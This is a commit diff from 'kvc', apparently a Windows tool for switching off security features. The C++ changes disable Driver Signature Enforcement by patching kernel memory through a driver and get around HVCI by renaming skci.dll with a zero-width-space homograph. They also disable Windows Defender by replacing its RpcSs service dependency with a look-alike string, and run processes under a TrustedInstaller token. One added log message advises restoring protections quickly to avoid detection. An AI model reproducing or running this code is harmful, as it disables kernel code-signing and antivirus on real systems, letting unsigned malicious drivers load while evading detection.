Aktualizacja: 2025-10-19 02:17:38
This commit is contained in:
@@ -18,16 +18,22 @@ Controller::~Controller() {
|
||||
|
||||
// Atomic operation cleanup - critical for BSOD prevention
|
||||
bool Controller::PerformAtomicCleanup() noexcept {
|
||||
INFO(L"Starting atomic cleanup procedure...");
|
||||
DEBUG(L"Starting atomic cleanup procedure...");
|
||||
|
||||
// 1. First, close the connection to the driver
|
||||
if (m_rtc) {
|
||||
DEBUG(L"Cleaning up driver connection...");
|
||||
m_rtc->Cleanup(); // This ensures the handle is properly closed
|
||||
if (m_rtc && m_rtc->IsConnected()) {
|
||||
DEBUG(L"Force-closing driver connection...");
|
||||
m_rtc->Cleanup();
|
||||
}
|
||||
|
||||
// 2. Wait for resources to be released
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(200);
|
||||
|
||||
// CHECK IF THE SERVICE IS A ZOMBIE
|
||||
if (IsServiceZombie()) {
|
||||
DEBUG(L"Service in zombie state - skipping aggressive cleanup to avoid BSOD");
|
||||
return true;
|
||||
}
|
||||
|
||||
// 3. Stop the service (if it exists)
|
||||
DEBUG(L"Stopping driver service...");
|
||||
@@ -63,12 +69,12 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
||||
}
|
||||
CloseServiceHandle(hSCM);
|
||||
}
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Wait again for safety
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
|
||||
// 6. Only uninstall if the service is confirmed to be stopped
|
||||
if (serviceVerified) {
|
||||
@@ -79,10 +85,10 @@ bool Controller::PerformAtomicCleanup() noexcept {
|
||||
}
|
||||
|
||||
// 7. Reinitialize for subsequent operations
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
m_rtc = std::make_unique<kvc>();
|
||||
|
||||
SUCCESS(L"Atomic cleanup completed successfully");
|
||||
DEBUG(L"Atomic cleanup completed successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -104,9 +110,13 @@ bool Controller::PerformAtomicInitWithErrorCleanup() noexcept {
|
||||
|
||||
// Core driver availability check with fallback mechanisms
|
||||
bool Controller::EnsureDriverAvailable() noexcept {
|
||||
// Phase 1: Check if the driver is already available (without testing)
|
||||
if (IsServiceZombie()) {
|
||||
DEBUG(L"Service zombie detected - cannot reload driver safely");
|
||||
return false; // AVOID BSOD - do not reload the driver
|
||||
}
|
||||
// Phase 1: Check if the driver is already available (without testing)
|
||||
ForceRemoveService();
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
if (IsDriverCurrentlyLoaded()) {
|
||||
return true;
|
||||
}
|
||||
@@ -129,7 +139,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
// Give it time to start
|
||||
Sleep(100);
|
||||
// Only for USB Debug Sleep(100);
|
||||
|
||||
// Check if it's running now (without a test read)
|
||||
if (m_rtc->Initialize() && m_rtc->IsConnected()) {
|
||||
@@ -138,7 +148,7 @@ bool Controller::EnsureDriverAvailable() noexcept {
|
||||
}
|
||||
|
||||
// Phase 3: Install a new driver (ONLY if necessary)
|
||||
INFO(L"Initializing kernel driver component...");
|
||||
DEBUG(L"Initializing kernel driver component...");
|
||||
|
||||
if (!InstallDriverSilently()) {
|
||||
ERROR(L"Failed to install kernel driver component");
|
||||
|
||||
@@ -2,6 +2,73 @@
|
||||
#include "common.h"
|
||||
|
||||
bool Controller::DisableDSE() noexcept {
|
||||
// Check if HVCI bypass already prepared (pending reboot)
|
||||
HKEY hKey = nullptr;
|
||||
bool bypassPending = false;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
bypassPending = true;
|
||||
|
||||
// Verify the renamed file actually exists
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) > 0) {
|
||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
if (GetFileAttributesW(checkPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
|
||||
// File doesn't exist - state is stale/invalid
|
||||
bypassPending = false;
|
||||
DEBUG(L"Stale bypass state detected - skci.dlI not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
hKey = nullptr;
|
||||
}
|
||||
|
||||
// If bypass already prepared, prompt for reboot without touching driver
|
||||
if (bypassPending) {
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI bypass already prepared from previous session");
|
||||
INFO(L"System reboot is required to complete the bypass");
|
||||
INFO(L"After reboot, use 'KVC DSE OFF' to disable driver signing");
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
|
||||
// Enable shutdown privilege
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Initiate reboot
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Normal flow - proceed with driver operations
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
@@ -49,15 +116,13 @@ bool Controller::DisableDSE() noexcept {
|
||||
|
||||
if (hvciEnabled) {
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI/VBS protection detected: g_CiOptions = 0x%08X", currentValue);
|
||||
INFO(L"Direct kernel memory patching blocked by hypervisor");
|
||||
INFO(L"Initiating non-invasive HVCI bypass strategy...");
|
||||
INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", currentValue);
|
||||
INFO(L"Preparing secure kernel deactivation (fully reversible)...");
|
||||
std::wcout << L"\n";
|
||||
|
||||
SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
|
||||
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
|
||||
SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
|
||||
INFO(L"No files will be permanently modified or deleted");
|
||||
INFO(L"After reboot: hypervisor disabled, DSE bypass automatic, changes reverted");
|
||||
std::wcout << L"\n";
|
||||
|
||||
DEBUG(L"Closing driver handle before file operations...");
|
||||
@@ -66,10 +131,10 @@ bool Controller::DisableDSE() noexcept {
|
||||
DEBUG(L"Unloading and removing driver service...");
|
||||
EndDriverSession(true);
|
||||
|
||||
DEBUG(L"Driver fully unloaded, proceeding with skci.dll rename...");
|
||||
DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
|
||||
|
||||
if (!m_dseBypass->RenameSkciLibrary()) {
|
||||
ERROR(L"Failed to rename skci.dll");
|
||||
ERROR(L"Failed to prepare hypervisor bypass");
|
||||
return false;
|
||||
}
|
||||
|
||||
@@ -82,12 +147,10 @@ bool Controller::DisableDSE() noexcept {
|
||||
ERROR(L"Failed to create RunOnce entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"HVCI bypass prepared successfully");
|
||||
INFO(L"System will disable hypervisor on next boot");
|
||||
INFO(L"Reboot required to complete DSE bypass");
|
||||
INFO(L"After reboot, DSE will be automatically disabled");
|
||||
|
||||
SUCCESS(L"HVCI bypass prepared - reboot required");
|
||||
INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
|
||||
INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
|
||||
INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
@@ -95,7 +158,23 @@ bool Controller::DisableDSE() noexcept {
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
system("shutdown /r /t 0");
|
||||
|
||||
// Enable shutdown privilege
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Initiate reboot
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
@@ -132,7 +211,88 @@ bool Controller::RestoreDSE() noexcept {
|
||||
}
|
||||
|
||||
bool Controller::DisableDSEAfterReboot() noexcept {
|
||||
PerformAtomicCleanup();
|
||||
|
||||
// Check if this is actually post-reboot or just pending bypass
|
||||
HKEY hKey = nullptr;
|
||||
bool actuallyPostReboot = false;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
// Check if skci.dlI still exists (means we haven't rebooted yet)
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
|
||||
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
||||
actuallyPostReboot = true; // File exists = real post-reboot
|
||||
}
|
||||
}
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// If skci.dlI doesn't exist, user hasn't rebooted yet
|
||||
if (!actuallyPostReboot) {
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
|
||||
INFO(L"Please reboot to complete the bypass process");
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return true; // Exit WITHOUT touching driver
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
||||
|
||||
@@ -93,7 +93,7 @@ bool DSEBypass::DisableDSE() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"Driver signature enforcement is off", currentValue, newValue);
|
||||
INFO(L"No restart required - unsigned drivers can now be loaded");
|
||||
return true;
|
||||
}
|
||||
@@ -151,8 +151,8 @@ bool DSEBypass::RestoreDSE() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
INFO(L"No restart required - kernel protection reactivated");
|
||||
SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
INFO(L"Kernel protection reactivated - no restart required");
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -350,8 +350,8 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dlI"; // uppercase I
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
|
||||
DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());
|
||||
|
||||
@@ -360,12 +360,12 @@ bool DSEBypass::RenameSkciLibrary() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"skci.dll renamed successfully - hypervisor will not load on next boot");
|
||||
SUCCESS(L"Windows hypervisor services temporarily suspended");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||
DEBUG(L"Restoring skci.dll from skci.dlI");
|
||||
DEBUG(L"Restoring skci.dll");
|
||||
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
|
||||
@@ -373,7 +373,7 @@ bool DSEBypass::RestoreSkciLibrary() noexcept {
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dlI";
|
||||
std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";
|
||||
|
||||
// Admin rights sufficient for restore (no hypervisor running)
|
||||
@@ -554,8 +554,8 @@ bool DSEBypass::DisableDSEAfterReboot() noexcept {
|
||||
// Step 3: Cleanup
|
||||
ClearDSEState();
|
||||
|
||||
SUCCESS(L"DSE disabled successfully! (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"Hypervisor bypassed and skci.dll restored");
|
||||
SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"Hypervisor bypassed and library restored");
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -30,7 +30,7 @@ bool DefenderManager::EnableSecurityEngine() noexcept
|
||||
return ModifySecurityEngine(true);
|
||||
}
|
||||
|
||||
// Queries current Windows Defender state by checking RpcSs (enabled) or RpcSt (disabled) in service dependencies
|
||||
// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
|
||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
||||
{
|
||||
try {
|
||||
@@ -44,7 +44,7 @@ DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexce
|
||||
|
||||
if (values.empty()) return SecurityState::UNKNOWN;
|
||||
|
||||
// Check if RpcSs (active) or RpcSt (inactive) is present
|
||||
// Check if RpcSs (active) or RpcSs\x200B (inactive) is present
|
||||
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
|
||||
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
|
||||
|
||||
@@ -155,7 +155,7 @@ bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
|
||||
return true;
|
||||
}
|
||||
|
||||
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSt
|
||||
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
|
||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
||||
{
|
||||
HKEY tempKey;
|
||||
@@ -174,10 +174,10 @@ bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, boo
|
||||
// Transform RPC service dependency
|
||||
for (auto& value : values) {
|
||||
if (enable && value == RPC_SERVICE_INACTIVE) {
|
||||
value = RPC_SERVICE_ACTIVE; // RpcSt -> RpcSs (enable)
|
||||
value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
|
||||
}
|
||||
else if (!enable && value == RPC_SERVICE_ACTIVE) {
|
||||
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSt (disable)
|
||||
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -14,11 +14,11 @@ public:
|
||||
// Security engine state based on WinDefend service dependency
|
||||
enum class SecurityState {
|
||||
ENABLED, // Defender engine active (RpcSs)
|
||||
DISABLED, // Defender engine inactive (RpcSt)
|
||||
DISABLED, // Defender engine inactive (RpcSs\x200B)
|
||||
UNKNOWN // State could not be determined
|
||||
};
|
||||
|
||||
// Disable Windows Defender by changing service dependency to RpcSt (requires admin + restart)
|
||||
// Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
|
||||
static bool DisableSecurityEngine() noexcept;
|
||||
|
||||
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
|
||||
@@ -54,7 +54,7 @@ private:
|
||||
// Create temporary Services hive snapshot and load it under HKLM\Temp
|
||||
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
||||
|
||||
// Switch WinDefend DependOnService between RpcSt and RpcSs inside temp hive
|
||||
// Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
|
||||
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
||||
|
||||
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
|
||||
@@ -71,5 +71,5 @@ private:
|
||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSt";
|
||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
|
||||
};
|
||||
|
||||
BIN
kvc/ICON/kvc.ico
BIN
kvc/ICON/kvc.ico
Binary file not shown.
|
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 14 KiB |
73
kvc/Kvc.cpp
73
kvc/Kvc.cpp
@@ -250,7 +250,7 @@ int wmain(int argc, wchar_t* argv[])
|
||||
else if (command == L"dse") {
|
||||
// No parameter = check status
|
||||
if (argc < 3) {
|
||||
INFO(L"Checking Driver Signature Enforcement status...");
|
||||
DEBUG(L"Checking Driver Signature Enforcement status...");
|
||||
|
||||
ULONG_PTR ciOptionsAddr = 0;
|
||||
DWORD value = 0;
|
||||
@@ -267,29 +267,22 @@ int wmain(int argc, wchar_t* argv[])
|
||||
INFO(L"DSE Status Information:");
|
||||
INFO(L"g_CiOptions address: 0x%llX", ciOptionsAddr);
|
||||
INFO(L"g_CiOptions value: 0x%08X", value);
|
||||
INFO(L"Bit 1 (Test signing): %s", (value & 0x2) ? L"SET" : L"CLEAR");
|
||||
INFO(L"Bit 2 (Unsigned drivers): %s", (value & 0x4) ? L"SET" : L"CLEAR");
|
||||
std::wcout << L"\n";
|
||||
|
||||
// Check for HVCI/VBS first
|
||||
if (hvciEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI/Virtualization-Based Security detected (flags: 0x%05X)", (value & 0x0001C000));
|
||||
INFO(L"Hypervisor protection active - direct memory patching blocked");
|
||||
INFO(L"HVCI bypass available via non-invasive library method");
|
||||
INFO(L"Requires system restart to complete bypass workflow");
|
||||
INFO(L"Use 'kvc dse off' to initiate automated HVCI bypass");
|
||||
}
|
||||
else if (dseEnabled) {
|
||||
SUCCESS(L"Driver Signature Enforcement: ENABLED");
|
||||
INFO(L"Kernel protection active - only signed drivers allowed");
|
||||
INFO(L"DSE bypass available without restart - use 'kvc dse off'");
|
||||
} else {
|
||||
INFO(L"Driver Signature Enforcement: DISABLED");
|
||||
INFO(L"System security reduced - unsigned drivers allowed");
|
||||
INFO(L"Use 'kvc dse on' to restore kernel protection (no restart required)");
|
||||
}
|
||||
// Check for HVCI/VBS first
|
||||
if (hvciEnabled) {
|
||||
SUCCESS(L"Driver signature enforcement: ENABLED");
|
||||
// ... HVCI info
|
||||
}
|
||||
else if (dseEnabled) {
|
||||
SUCCESS(L"Driver signature enforcement: ENABLED");
|
||||
INFO(L"Only signed drivers allowed");
|
||||
INFO(L"Use 'kvc dse off' to disable protection");
|
||||
} else {
|
||||
INFO(L"Driver signature enforcement: DISABLED");
|
||||
INFO(L"Unsigned drivers allowed");
|
||||
INFO(L"Use 'kvc dse on' to restore kernel protection");
|
||||
}
|
||||
|
||||
std::wcout << L"\n";
|
||||
return 0;
|
||||
@@ -298,7 +291,6 @@ int wmain(int argc, wchar_t* argv[])
|
||||
std::wstring_view subCmd = argv[2];
|
||||
|
||||
if (subCmd == L"off") {
|
||||
// Check if this is post-reboot execution
|
||||
HKEY hKey;
|
||||
bool postReboot = false;
|
||||
|
||||
@@ -310,26 +302,11 @@ int wmain(int argc, wchar_t* argv[])
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
// Check if skci.dlI exists
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci.dlI";
|
||||
|
||||
DWORD attrs = GetFileAttributesW(checkPath.c_str());
|
||||
if (attrs == INVALID_FILE_ATTRIBUTES) {
|
||||
// skci.dlI doesn't exist - stale registry entry
|
||||
RegCloseKey(hKey);
|
||||
DEBUG(L"Stale registry state detected, clearing...");
|
||||
RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE");
|
||||
hKey = nullptr;
|
||||
} else {
|
||||
postReboot = true;
|
||||
}
|
||||
postReboot = true;
|
||||
}
|
||||
}
|
||||
if (hKey) {
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
if (postReboot) {
|
||||
@@ -342,7 +319,7 @@ int wmain(int argc, wchar_t* argv[])
|
||||
}
|
||||
} else {
|
||||
DEBUG(L"Normal DSE disable request");
|
||||
INFO(L"Disabling Driver Signature Enforcement...");
|
||||
INFO(L"Disabling driver signature enforcement...");
|
||||
|
||||
if (!g_controller->DisableDSE()) {
|
||||
ERROR(L"Failed to disable DSE");
|
||||
@@ -350,21 +327,17 @@ int wmain(int argc, wchar_t* argv[])
|
||||
}
|
||||
}
|
||||
|
||||
SUCCESS(L"DSE disabled successfully!");
|
||||
INFO(L"You can now load unsigned drivers");
|
||||
INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
|
||||
//wesmar-debug: INFO(L"g_CiOptions address: 0x%llX", g_controller->GetCiOptionsAddress());
|
||||
return 0;
|
||||
}
|
||||
else if (subCmd == L"on") {
|
||||
INFO(L"Restoring Driver Signature Enforcement...");
|
||||
INFO(L"Restoring driver signature enforcement...");
|
||||
|
||||
if (!g_controller->RestoreDSE()) {
|
||||
ERROR(L"Failed to restore DSE");
|
||||
return 2;
|
||||
}
|
||||
|
||||
SUCCESS(L"DSE restored successfully!");
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
ERROR(L"Unknown DSE command: %s", subCmd.data());
|
||||
@@ -410,7 +383,7 @@ int wmain(int argc, wchar_t* argv[])
|
||||
ERROR(L"Failed to stop service");
|
||||
}
|
||||
|
||||
Sleep(500);
|
||||
// Only for service debug Sleep(500);
|
||||
|
||||
INFO(L"Starting service...");
|
||||
bool started = ServiceManager::StartServiceProcess();
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
#include <algorithm>
|
||||
#include <cctype>
|
||||
#include <filesystem>
|
||||
#include <string_view>
|
||||
#include <span>
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
@@ -61,14 +63,14 @@ TrustedInstallerIntegrator::~TrustedInstallerIntegrator()
|
||||
// CORE TOKEN MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(LPCWSTR privilegeName)
|
||||
BOOL TrustedInstallerIntegrator::EnablePrivilegeInternal(std::wstring_view privilegeName)
|
||||
{
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
return FALSE;
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) {
|
||||
if (!LookupPrivilegeValueW(NULL, privilegeName.data(), &luid)) {
|
||||
CloseHandle(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
@@ -128,7 +130,7 @@ DWORD TrustedInstallerIntegrator::StartTrustedInstallerService()
|
||||
|
||||
SERVICE_STATUS_PROCESS statusBuffer;
|
||||
DWORD bytesNeeded;
|
||||
const DWORD timeout = 30000;
|
||||
const DWORD timeout = 3000;
|
||||
DWORD startTime = GetTickCount();
|
||||
|
||||
while (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&statusBuffer, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded))
|
||||
@@ -231,7 +233,7 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
|
||||
g_cachedTrustedInstallerToken = hDuplicatedToken;
|
||||
g_lastTokenAccessTime = currentTime;
|
||||
|
||||
SUCCESS(L"TrustedInstaller token cached successfully");
|
||||
DEBUG(L"TrustedInstaller token cached successfully");
|
||||
return g_cachedTrustedInstallerToken;
|
||||
}
|
||||
|
||||
@@ -239,42 +241,40 @@ HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken()
|
||||
// PROCESS EXECUTION
|
||||
// ============================================================================
|
||||
|
||||
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine)
|
||||
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine)
|
||||
{
|
||||
HANDLE hToken = GetCachedTrustedInstallerToken();
|
||||
if (!hToken) return FALSE;
|
||||
|
||||
wchar_t* mutableCmd = _wcsdup(commandLine);
|
||||
if (!mutableCmd) return FALSE;
|
||||
// Convert string_view to mutable string for CreateProcessWithTokenW
|
||||
std::wstring mutableCmd{commandLine};
|
||||
|
||||
STARTUPINFOW si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd, 0, NULL, NULL, &si, &pi);
|
||||
BOOL result = CreateProcessWithTokenW(hToken, 0, NULL, mutableCmd.data(), 0, NULL, NULL, &si, &pi);
|
||||
|
||||
if (result) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
|
||||
free(mutableCmd);
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL TrustedInstallerIntegrator::CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine)
|
||||
